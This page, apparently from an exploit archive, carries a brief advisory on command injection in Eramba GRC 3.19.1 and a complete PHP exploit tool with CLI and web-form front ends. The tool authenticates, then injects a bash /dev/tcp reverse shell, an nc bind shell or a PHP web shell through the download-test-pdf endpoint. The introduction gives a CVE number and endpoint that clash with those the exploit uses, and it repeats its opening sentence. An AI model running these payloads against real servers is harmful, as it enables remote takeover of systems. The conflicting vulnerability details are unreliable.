Eramba GRC 3.19.1 Command Injection
Eramba GRC 3.19.1 Command Injection
Eramba GRC version 3.19.1 (and earlier) was vulnerable to an Eramba GRC version 3.19.1 (and earlier) was vulnerable to an authenticated command injection (CVE-2023-3983).

This critical vulnerability allowed authenticated attackers to execute arbitrary operating system commands. The flaw resided in the `/api/v1/system/info` API endpoint, specifically through the `search_filter` parameter.

Insufficient sanitization of user-supplied input meant that specially crafted payloads (e.g., using backticks or `$(...)`) were directly incorporated into a system command. Successful exploitation resulted in Remote Code Execution (RCE), granting attackers full control over the underlying server.

Users are strongly advised to upgrade to version 3.19.2 or later to patch this vulnerability.

=============================================================================================================================================
| # Title : Eramba GRC platform 3.19.1 Command injection in download-test-pdf endpoint |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.eramba.org/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/190048/ & CVE-2023-36255

[+] Summary :

Critical authenticated remote code execution vulnerability in Eramba GRC platform (versions up to 3.19.1)
allowing command injection through the download-test-pdf endpoint when debug mode is enabled.

[+] POC :

php poc.php or http://127.0.0.1/poc.php

<?php
/*
* by : indoushka based on Metasploit module
*/

class ErambaExploit {
private $target;
private $port;
private $ssl;
private $base_path;
private $timeout;
private $cookies;
private $username;
private $password;

public function __construct($target, $port = 8443, $ssl = true, $base_path = '/', $username = 'admin', $password = 'admin') {
$this->target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
$this->cookies = [];
$this->username = $username;
$this->password = $password;
}

/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking Eramba vulnerability...\n";

$res = $this->send_request('/login', 'GET');

if (!$res || $res['code'] != 200) {
echo "[-] Failed to access login page\n";
return "unknown";
}

// Extract version from HTML
$version = $this->extract_version($res['body']);
if (!$version) {
echo "[-] Could not determine Eramba version\n";
return "unknown";
}

echo "[*] Detected Eramba version: $version\n";

// Check if debug mode is enabled
$debug_enabled = $this->check_debug_mode($res['body']);
if (!$debug_enabled) {
echo "[-] Debug mode is not enabled - target is not vulnerable\n";
return "safe";
}

echo "[+] Debug mode is enabled\n";

// Check version against vulnerable range
if ($this->is_version_vulnerable($version)) {
echo "[+] ? Eramba version $version is vulnerable\n";
return "vulnerable";
} else {
echo "[-] Eramba version $version is not affected\n";
return "safe";
}
}

/**
* Extract version from HTML
*/
private function extract_version($html) {
// Look for version pattern: <p>App version <strong>X.X.X</strong>
if (preg_match('/App version\s*<strong>([0-9]+\.[0-9]+\.[0-9]+)<\/strong>/i', $html, $matches)) {
return $matches[1];
}
return null;
}

/**
* Check if debug mode is enabled
*/
private function check_debug_mode($html) {
// Look for debug token field
return strpos($html, 'name="_Token[debug]"') !== false;
}

/**
* Check if version is vulnerable
*/
private function is_version_vulnerable($version) {
$version_parts = explode('.', $version);
$major = intval($version_parts[0]);
$minor = intval($version_parts[1]);
$patch = intval($version_parts[2]);

// Vulnerable: versions up to 3.19.1
if ($major < 3) return true;
if ($major == 3) {
if ($minor < 19) return true;
if ($minor == 19 && $patch <= 1) return true;
}
return false;
}

/**
* Login to Eramba
*/
private function login() {
echo "[*] Attempting to login...\n";

// First GET request to get tokens
$res = $this->send_request('/login', 'GET', [], null, [], true);

if (!$res || $res['code'] != 200) {
echo "[-] Failed to access login page\n";
return false;
}

// Extract CSRF and token fields
$tokens = $this->extract_tokens($res['body']);
if (!$tokens) {
echo "[-] Could not extract authentication tokens\n";
return false;
}

echo "[*] Extracted CSRF token and form tokens\n";

// Perform login
$login_data = [
'_csrfToken' => $tokens['csrf'],
'login' => $this->username,
'password' => $this->password,
'_Token[fields]' => $tokens['fields'],
'_Token[unlocked]' => $tokens['unlocked'],
'_Token[debug]' => $tokens['debug']
];

$res = $this->send_request('/login', 'POST', [], http_build_query($login_data), [
'Content-Type: application/x-www-form-urlencoded'
], true);

if (!$res || $res['code'] != 200) {
echo "[-] Login failed - invalid credentials or server error\n";
return false;
}

// Check if login was successful by looking for dashboard
if (strpos($res['body'], 'Landing Dashboard') !== false) {
echo "[+] Successfully logged in as {$this->username}\n";
return true;
} else {
echo "[-] Login failed - check credentials\n";
return false;
}
}

/**
* Extract tokens from HTML form
*/
private function extract_tokens($html) {
$tokens = [];

// Extract CSRF token
if (preg_match('/name="_csrfToken"\s+value="([^"]+)"/', $html, $matches)) {
$tokens['csrf'] = $matches[1];
}

// Extract token fields
if (preg_match('/name="_Token\[fields\]"\s+value="([^"]+)"/', $html, $matches)) {
$tokens['fields'] = $matches[1];
}

// Extract token unlocked
if (preg_match('/name="_Token\[unlocked\]"\s+value="([^"]+)"/', $html, $matches)) {
$tokens['unlocked'] = $matches[1];
}

// Extract token debug
if (preg_match('/name="_Token\[debug\]"\s+value="([^"]+)"/', $html, $matches)) {
$tokens['debug'] = $matches[1];
}

if (count($tokens) == 4) {
return $tokens;
}

return false;
}

/**
* Execute the exploit
*/
public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
echo "[*] Starting Eramba exploitation...\n";

// Step 1: Login
if (!$this->login()) {
echo "[-] Authentication failed\n";
return false;
}

// Step 2: Generate payload
$payload = $this->generate_payload($payload_type, $lhost, $lport);
if (!$payload) {
echo "[-] Failed to generate payload\n";
return false;
}

echo "[*] Generated payload: " . htmlspecialchars($payload) . "\n";

// Step 3: Execute via download-test-pdf endpoint
echo "[*] Executing payload via download-test-pdf endpoint...\n";

$res = $this->send_request('/settings/download-test-pdf', 'GET', [
'path' => $payload
]);

if ($res) {
echo "[+] ? Payload sent successfully\n";
echo "[*] Check your listener for connection\n";
return true;
} else {
echo "[-] Failed to execute payload\n";
return false;
}
}

/**
* Generate payload commands
*/
private function generate_payload($type, $lhost, $lport) {
switch ($type) {
case 'reverse_shell':
if (!$lhost || !$lport) {
echo "[-] IP and port required for reverse shell\n";
return false;
}
// Bash reverse shell
return "bash -c 'bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'";

case 'bind_shell':
if (!$lport) {
echo "[-] Port required for bind shell\n";
return false;
}
return "nc -lvp {$lport} -e /bin/bash";

case 'command':
return 'id; whoami; uname -a; pwd';

case 'web_shell':
// This would create a web shell file
$filename = $this->random_text(8) . '.php';
$web_shell = '<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>';
return "echo '{$web_shell}' > /tmp/{$filename}";

default:
return 'id; whoami; hostname';
}
}

/**
* Send HTTP request
*/
private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = [], $save_cookies = false) {
$url = $this->build_url($path);

if ($method == 'GET' && !empty($params)) {
$url .= '?' . http_build_query($params);
}

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
CURLOPT_HEADER => true,
CURLOPT_CUSTOMREQUEST => $method,
CURLOPT_FOLLOWLOCATION => false
]);

// Add POST data if provided
if ($method == 'POST' && $data) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}

// Build headers
$headers = array_merge([
'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
], $custom_headers);

// Add cookies if available
$cookie_header = $this->build_cookie_header();
if ($cookie_header) {
$headers[] = $cookie_header;
}

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Save cookies if requested
if ($save_cookies && $response) {
$this->extract_cookies($response);
}

curl_close($ch);

if ($response) {
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);

return [
'code' => $http_code,
'headers' => $headers,
'body' => $body
];
}

return false;
}

/**
* Extract cookies from response headers
*/
private function extract_cookies($response) {
if (preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response, $matches)) {
for ($i = 0; $i < count($matches[1]); $i++) {
$this->cookies[trim($matches[1][$i])] = $matches[2][$i];
}
}
}

/**
* Build cookie header from stored cookies
*/
private function build_cookie_header() {
if (empty($this->cookies)) {
return null;
}

$cookie_parts = [];
foreach ($this->cookies as $name => $value) {
$cookie_parts[] = "{$name}={$value}";
}

return 'Cookie: ' . implode('; ', $cookie_parts);
}

/**
* Generate random text
*/
private function random_text($length = 8) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$result = '';
for ($i = 0; $i < $length; $i++) {
$result .= $chars[rand(0, strlen($chars) - 1)];
}
return $result;
}

/**
* Build full URL
*/
private function build_url($path) {
$protocol = $this->ssl ? 'https' : 'http';
$full_path = $this->base_path . $path;
return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
}
}

// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
????????????????????????????????????????????????????????????????
? Eramba RCE Exploit ?
? CVE-2023-36255 ?
? PHP Implementation ?
????????????????????????????????????????????????????????????????

\n";

$options = getopt("t:p:s:u:U:P:cL:H:", [
"target:",
"port:",
"ssl",
"uri:",
"username:",
"password:",
"check",
"lhost:",
"lport:"
]);

$target = $options['t'] ?? $options['target'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 8443;
$ssl = isset($options['s']) || isset($options['ssl']);
$base_uri = $options['u'] ?? $options['uri'] ?? '/';
$username = $options['U'] ?? $options['username'] ?? 'admin';
$password = $options['P'] ?? $options['password'] ?? 'admin';
$check_only = isset($options['c']) || isset($options['check']);
$lhost = $options['H'] ?? $options['lhost'] ?? null;
$lport = $options['L'] ?? $options['lport'] ?? 4444;

if (!$target) {
echo "Usage: php eramba_exploit.php [options]\n";
echo "Options:\n";
echo " -t, --target Target host (required)\n";
echo " -p, --port Target port (default: 8443)\n";
echo " -s, --ssl Use SSL (default: true)\n";
echo " -u, --uri Base URI path (default: /)\n";
echo " -U, --username Username (default: admin)\n";
echo " -P, --password Password (default: admin)\n";
echo " -c, --check Check only (don't exploit)\n";
echo " -H, --lhost Listener host for reverse shell\n";
echo " -L, --lport Listener port for reverse shell (default: 4444)\n";
echo "\nExamples:\n";
echo " php eramba_exploit.php -t 192.168.1.100 -c\n";
echo " php eramba_exploit.php -t eramba.company.com -U admin -P password -H 10.0.0.5 -L 4444\n";
exit(1);
}

$exploit = new ErambaExploit($target, $port, $ssl, $base_uri, $username, $password);

if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
} else {
if ($exploit->exploit('reverse_shell', $lhost, $lport)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
}

} else {
// Web Interface
$action = $_POST['action'] ?? '';

if ($action === 'check' || $action === 'exploit') {
$target = $_POST['target'] ?? '';
$port = $_POST['port'] ?? 8443;
$ssl = isset($_POST['ssl']);
$base_uri = $_POST['uri'] ?? '/';
$username = $_POST['username'] ?? 'admin';
$password = $_POST['password'] ?? 'admin';
$payload_type = $_POST['payload_type'] ?? 'command';
$lhost = $_POST['lhost'] ?? '';
$lport = $_POST['lport'] ?? 4444;

if (empty($target)) {
echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
} else {
$exploit = new ErambaExploit($target, $port, $ssl, $base_uri, $username, $password);

ob_start();
if ($action === 'check') {
$exploit->check();
} else {
$exploit->exploit($payload_type, $lhost, $lport);
}
$output = ob_get_clean();

echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
}

echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';

} else {
// Display the form
echo '<!DOCTYPE html>
<html>
<head>
<title>Eramba RCE Exploit - CVE-2023-36255</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
border-bottom: 2px solid #007cba;
padding-bottom: 10px;
}
h3 {
color: #666;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: bold;
color: #333;
}
input[type="text"], input[type="password"], select {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
box-sizing: border-box;
font-size: 14px;
}
.checkbox-group {
display: flex;
align-items: center;
gap: 10px;
}
button {
background: #007cba;
color: white;
padding: 12px 25px;
border: none;
border-radius: 4px;
cursor: pointer;
margin-right: 10px;
font-size: 16px;
transition: background 0.3s;
}
button:hover {
background: #005a87;
}
.danger {
background: #dc3545;
}
.danger:hover {
background: #c82333;
}
.info {
background: #17a2b8;
}
.info:hover {
background: #138496;
}
.warning-box {
background: #fff3cd;
border: 1px solid #ffeaa7;
color: #856404;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
.info-box {
background: #d1ecf1;
border: 1px solid #bee5eb;
color: #0c5460;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
</style>
</head>
<body>
<div class="container">
<h1>Eramba RCE Exploit</h1>
<h3>CVE-2023-36255 - Authenticated Remote Code Execution</h3>

<div class="warning-box">
<strong>?? Educational Use Only:</strong> This tool demonstrates a critical vulnerability in Eramba.
Use only on systems you own or have explicit permission to test.
</div>

<form method="post">
<div class="form-group">
<label for="target">Target Host:</label>
<input type="text" id="target" name="target" placeholder="192.168.1.100 or eramba.company.com" required>
</div>

<div class="form-group">
<label for="port">Port:</label>
<input type="text" id="port" name="port" value="8443">
</div>

<div class="form-group">
<label for="uri">Base URI:</label>
<input type="text" id="uri" name="uri" value="/">
</div>

<div class="form-group">
<div class="checkbox-group">
<input type="checkbox" id="ssl" name="ssl" checked>
<label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
</div>
</div>

<div class="form-group">
<label for="username">Username:</label>
<input type="text" id="username" name="username" value="admin" required>
</div>

<div class="form-group">
<label for="password">Password:</label>
<input type="password" id="password" name="password" value="admin" required>
</div>

<div class="form-group">
<label for="payload_type">Payload Type:</label>
<select id="payload_type" name="payload_type">
<option value="command">Test Command</option>
<option value="reverse_shell">Reverse Shell</option>
<option value="bind_shell">Bind Shell</option>
<option value="web_shell">Web Shell</option>
</select>
</div>

<div class="form-group">
<label for="lhost">Listener Host (for reverse shell):</label>
<input type="text" id="lhost" name="lhost" placeholder="Your IP address: 192.168.1.100">
</div>

<div class="form-group">
<label for="lport">Listener Port (for reverse shell):</label>
<input type="text" id="lport" name="lport" value="4444">
</div>

<button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
<button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
</form>

<div class="info-box">
<h3>About CVE-2023-36255:</h3>
<p><strong>Vulnerability:</strong> Command injection in download-test-pdf endpoint</p>
<p><strong>Affected Versions:</strong> Eramba up to 3.19.1</p>
<p><strong>Prerequisites:</strong> Debug mode must be enabled</p>
<p><strong>Authentication:</strong> Requires valid user credentials</p>
<p><strong>Endpoint:</strong> /settings/download-test-pdf</p>
<p><strong>Parameter:</strong> path (command injection)</p>
<p><strong>Impact:</strong> Authenticated Remote Code Execution</p>
</div>
</div>
</body>
</html>';
}
}
?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.